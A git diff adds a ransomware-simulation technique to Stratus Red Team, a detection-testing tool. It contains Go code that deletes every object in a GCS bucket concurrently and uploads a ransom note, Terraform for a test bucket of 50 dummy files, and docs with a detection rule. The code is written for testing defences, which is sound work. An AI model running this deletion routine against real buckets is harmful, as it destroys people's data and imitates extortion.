diff --git a/docs/attack-techniques/GCP/gcp.impact.ransomware-gcs-batch-deletion.md b/docs/attack-techniques/GCP/gcp.impact.ransomware-gcs-batch-deletion.md new file mode 100755 index 000000000..3219d44e6 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.impact.ransomware-gcs-batch-deletion.md @@ -0,0 +1,58 @@ +--- +title: Ransomware Simulation — Delete All GCS Objects in Batch +--- + +# Ransomware Simulation — Delete All GCS Objects in Batch + + + + +Platform: GCP + +## Mappings + +- MITRE ATT&CK + - Impact + + + +## Description + + +Simulates a GCS ransomware attack by deleting all objects in a bucket +concurrently (in parallel goroutines) and uploading a ransom note. This +mirrors the pattern used by ransomware that bulk-deletes cloud storage +to maximize impact and generate storage deletion billing events for the victim. + +Warm-up: + +- Create a GCS bucket with 50 test objects + +Detonation: + +- List all objects in the bucket +- Delete all objects concurrently using goroutines +- Upload a ransom note as RANSOM_NOTE.txt + +References: + +- https://cloud.google.com/storage/docs/deleting-objects +- https://cloud.google.com/storage/docs/json_api/v1/objects/delete +- https://panther.com/blog/detecting-and-hunting-for-cloud-ransomware-part-2-gcp-gcs +- https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.impact.ransomware-gcs-batch-deletion +``` +## Detection + + +Identify a burst of GCS object deletions by monitoring for a high volume of +storage.objects.delete events in GCP Data Access audit logs in +a short time window, particularly when followed by the creation of a file +named RANSOM_NOTE.txt. + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index 18d1840c9..0dfc439d1 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -101,3 +101,5 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Invoke a Vertex AI Model](./gcp.impact.invoke-vertex-ai-model.md) + - [Ransomware Simulation — Delete All GCS Objects in Batch](./gcp.impact.ransomware-gcs-batch-deletion.md) + diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index 6f85e31a7..cdd7935ad 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -108,3 +108,4 @@ This page contains the list of all Stratus Attack Techniques. | [Execute Commands on GCE Instances via OS Config Agent](./GCP/gcp.execution.os-config-run-command.md) | [GCP](./GCP/index.md) | Execution | | [Reduce Log Retention Period on a Cloud Logging Sink Bucket](./GCP/gcp.defense-evasion.reduce-sink-log-retention.md) | [GCP](./GCP/index.md) | Defense Evasion | | [Backdoor a GCS Bucket via Overly Permissive IAM Policy](./GCP/gcp.exfiltration.backdoor-gcs-bucket.md) | [GCP](./GCP/index.md) | Exfiltration | +| [Ransomware Simulation — Delete All GCS Objects in Batch](./GCP/gcp.impact.ransomware-gcs-batch-deletion.md) | [GCP](./GCP/index.md) | Impact | diff --git a/docs/attack-techniques/mitre-attack-coverage-matrices.md b/docs/attack-techniques/mitre-attack-coverage-matrices.md index 90649bfc3..205d5604a 100644 --- a/docs/attack-techniques/mitre-attack-coverage-matrices.md +++ b/docs/attack-techniques/mitre-attack-coverage-matrices.md @@ -58,7 +58,7 @@ This provides coverage matrices of MITRE ATT&CK tactics and techniques currently Steal and Use the GCE Default Service Account Token from Outside Google CloudModify a GCE Instance Startup ScriptRegister SSH public key to instance metadataModify a GCE Instance Startup ScriptDelete a Cloud DNS Logging PolicyRetrieve a High Number of Secret Manager secretsRead GCE Instance Metadata via the Compute APIRegister SSH public key to instance metadataOpen Ingress Port 22 on a Firewall RuleCreate a GCE GPU Virtual Machine Inject a Malicious Startup Script into a Vertex AI Workbench InstanceBackdoor a GCP Service Account through its IAM PolicyCreate an Admin GCP Service AccountDisable Data Access Audit Logs for a GCP ServiceSteal and Use the GCE Default Service Account Token from Outside Google CloudEnumerate Permissions of a GCP Service AccountExfiltrate Compute Disk by sharing itCreate GCE Instances in Multiple Zones Execute Commands on GCE Instances via OS Config AgentCreate an Admin GCP Service AccountCreate a GCP Service Account KeyAttempt to Remove a GCP Project from its OrganizationExfiltrate Compute Image by sharing itInvoke a Vertex AI Model -Create a GCP Service Account KeyImpersonate GCP Service AccountsDisable VPC Flow Logs on a SubnetExfiltrate Compute Disk by sharing a snapshot +Create a GCP Service Account KeyImpersonate GCP Service AccountsDisable VPC Flow Logs on a SubnetExfiltrate Compute Disk by sharing a snapshotRansomware Simulation — Delete All GCS Objects in Batch Invite an External User to a GCP ProjectInject a Malicious Startup Script into a Vertex AI Workbench InstanceDelete a GCP Log SinkBackdoor a GCS Bucket via Overly Permissive IAM Policy Disable a GCP Log Sink Reduce Log Retention Period on a Cloud Logging Sink Bucket diff --git a/docs/index.yaml b/docs/index.yaml index f4f5b5c16..e77f013f6 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -699,6 +699,13 @@ GCP: - Impact platform: GCP isIdempotent: true + - id: gcp.impact.ransomware-gcs-batch-deletion + name: Ransomware Simulation — Delete All GCS Objects in Batch + isSlow: false + mitreAttackTactics: + - Impact + platform: GCP + isIdempotent: false Initial Access: - id: gcp.initial-access.use-compute-sa-outside-gcp name: Steal and Use the GCE Default Service Account Token from Outside Google Cloud diff --git a/v2/go.mod b/v2/go.mod index 2e5c59b36..ec90630dc 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -7,6 +7,7 @@ toolchain go1.24.2 require ( cloud.google.com/go/compute v1.31.1 cloud.google.com/go/secretmanager v1.14.4 + cloud.google.com/go/storage v1.43.0 cloud.google.com/go/vertexai v0.12.0 github.com/Azure/azure-sdk-for-go/sdk/azcore v1.20.0 github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 diff --git a/v2/go.sum b/v2/go.sum index 7a01c7356..1e022ad7c 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -17,6 +17,8 @@ cloud.google.com/go/longrunning v0.6.4 h1:3tyw9rO3E2XVXzSApn1gyEEnH2K9SynNQjMlBi cloud.google.com/go/longrunning v0.6.4/go.mod h1:ttZpLCe6e7EXvn9OxpBRx7kZEB0efv8yBO6YnVMfhJs= cloud.google.com/go/secretmanager v1.14.4 h1:SMWQMsUcACsdIuVhIBAw+QfKY4Xseiaa8qDnunjmhcM= cloud.google.com/go/secretmanager v1.14.4/go.mod h1:pjwFw8+A6B4AcWrVXruLfz1QykkpMr8T/VT+zXB91iw= +cloud.google.com/go/storage v1.43.0 h1:CcxnSohZwizt4LCzQHWvBf1/kvtHUn7gk9QERXPyXFs= +cloud.google.com/go/storage v1.43.0/go.mod h1:ajvxEa7WmZS1PxvKRq4bq0tFT3vMd502JwstCcYv0Q0= cloud.google.com/go/vertexai v0.12.0 h1:zTadEo/CtsoyRXNx3uGCncoWAP1H2HakGqwznt+iMo8= cloud.google.com/go/vertexai v0.12.0/go.mod h1:8u+d0TsvBfAAd2x5R6GMgbYhsLgo3J7lmP4bR8g2ig8= dario.cat/mergo v1.0.0 h1:AGCNq9Evsj31mOgNPcLyXc+4PNABt905YmuqPYYpBWk= diff --git a/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion/main.go b/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion/main.go new file mode 100644 index 000000000..4168bb504 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion/main.go @@ -0,0 +1,131 @@ +package gcp + +import ( + "context" + _ "embed" + "fmt" + "log" + "sync" + + "cloud.google.com/go/storage" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + "google.golang.org/api/iterator" +) + +//go:embed main.tf +var tf []byte + +const ransomNote = `Your data has been encrypted and exfiltrated. +To recover your files, contact: attacker@stratus-red-team.cloud +Your unique ID: STRATUS-RED-TEAM-SIMULATION +This is a security simulation by Stratus Red Team.` + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: "gcp.impact.ransomware-gcs-batch-deletion", + FriendlyName: "Ransomware Simulation — Delete All GCS Objects in Batch", + Description: ` +Simulates a GCS ransomware attack by deleting all objects in a bucket +concurrently (in parallel goroutines) and uploading a ransom note. This +mirrors the pattern used by ransomware that bulk-deletes cloud storage +to maximize impact and generate storage deletion billing events for the victim. + +Warm-up: + +- Create a GCS bucket with 50 test objects + +Detonation: + +- List all objects in the bucket +- Delete all objects concurrently using goroutines +- Upload a ransom note as RANSOM_NOTE.txt + +References: + +- https://cloud.google.com/storage/docs/deleting-objects +- https://cloud.google.com/storage/docs/json_api/v1/objects/delete +- https://panther.com/blog/detecting-and-hunting-for-cloud-ransomware-part-2-gcp-gcs +- https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/ +`, + Detection: ` +Identify a burst of GCS object deletions by monitoring for a high volume of +storage.objects.delete events in GCP Data Access audit logs in +a short time window, particularly when followed by the creation of a file +named RANSOM_NOTE.txt. +`, + Platform: stratus.GCP, + IsIdempotent: false, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Impact}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + bucketName := params["bucket_name"] + ctx := context.Background() + + storageClient, err := storage.NewClient(ctx, providers.GCP().Options()) + if err != nil { + return fmt.Errorf("failed to create Storage client: %w", err) + } + defer storageClient.Close() + + bucket := storageClient.Bucket(bucketName) + + // Collect all object names to delete. + var objectNames []string + it := bucket.Objects(ctx, nil) + for { + attrs, err := it.Next() + if err == iterator.Done { + break + } + if err != nil { + return fmt.Errorf("failed to list objects in bucket %s: %w", bucketName, err) + } + objectNames = append(objectNames, attrs.Name) + } + + log.Printf("Deleting %d objects from bucket %s concurrently\n", len(objectNames), bucketName) + + var wg sync.WaitGroup + errCh := make(chan error, len(objectNames)) + + for _, name := range objectNames { + wg.Add(1) + go func(objectName string) { + defer wg.Done() + if err := bucket.Object(objectName).Delete(ctx); err != nil { + errCh <- fmt.Errorf("failed to delete object %s: %w", objectName, err) + } + }(name) + } + + wg.Wait() + close(errCh) + + // Collect any deletion errors but continue to upload the ransom note. + var deleteErrors []error + for err := range errCh { + deleteErrors = append(deleteErrors, err) + } + + if len(deleteErrors) > 0 { + return fmt.Errorf("encountered %d errors deleting objects: first error: %w", len(deleteErrors), deleteErrors[0]) + } + + log.Printf("Successfully deleted %d objects. Uploading ransom note.\n", len(objectNames)) + writer := bucket.Object("RANSOM_NOTE.txt").NewWriter(ctx) + if _, err := fmt.Fprint(writer, ransomNote); err != nil { + writer.Close() + return fmt.Errorf("failed to write ransom note: %w", err) + } + if err := writer.Close(); err != nil { + return fmt.Errorf("failed to finalize ransom note upload: %w", err) + } + + log.Printf("Ransomware simulation complete. Ransom note uploaded to gs://%s/RANSOM_NOTE.txt\n", bucketName) + return nil +} diff --git a/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion/main.tf b/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion/main.tf new file mode 100644 index 000000000..7304c20a3 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion/main.tf @@ -0,0 +1,43 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 6.18.1" + } + random = { + source = "hashicorp/random" + version = "~> 3.3.2" + } + } +} + +locals { + resource_prefix = "stratus-red-team-rgbd" # ransomware gcs batch deletion +} + +resource "random_string" "suffix" { + length = 8 + special = false + min_lower = 8 +} + +resource "google_storage_bucket" "bucket" { + name = "${local.resource_prefix}-${random_string.suffix.result}" + location = "US" + force_destroy = true +} + +resource "google_storage_bucket_object" "objects" { + count = 50 + name = "sensitive-data-${count.index}.txt" + bucket = google_storage_bucket.bucket.name + content = "Sensitive data file ${count.index} - Stratus Red Team test" +} + +output "bucket_name" { + value = google_storage_bucket.bucket.name +} + +output "display" { + value = format("GCS bucket %s with 50 objects", google_storage_bucket.bucket.name) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 2729e25b3..8b4dcb36b 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -85,6 +85,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/create-gpu-vm" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/invoke-vertex-ai-model" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/create-instances-in-multiple-zones" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/impact/ransomware-gcs-batch-deletion" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/initial-access/use-compute-sa-outside-gcp" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/lateral-movement/add-sshkey-instance-metadata" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy"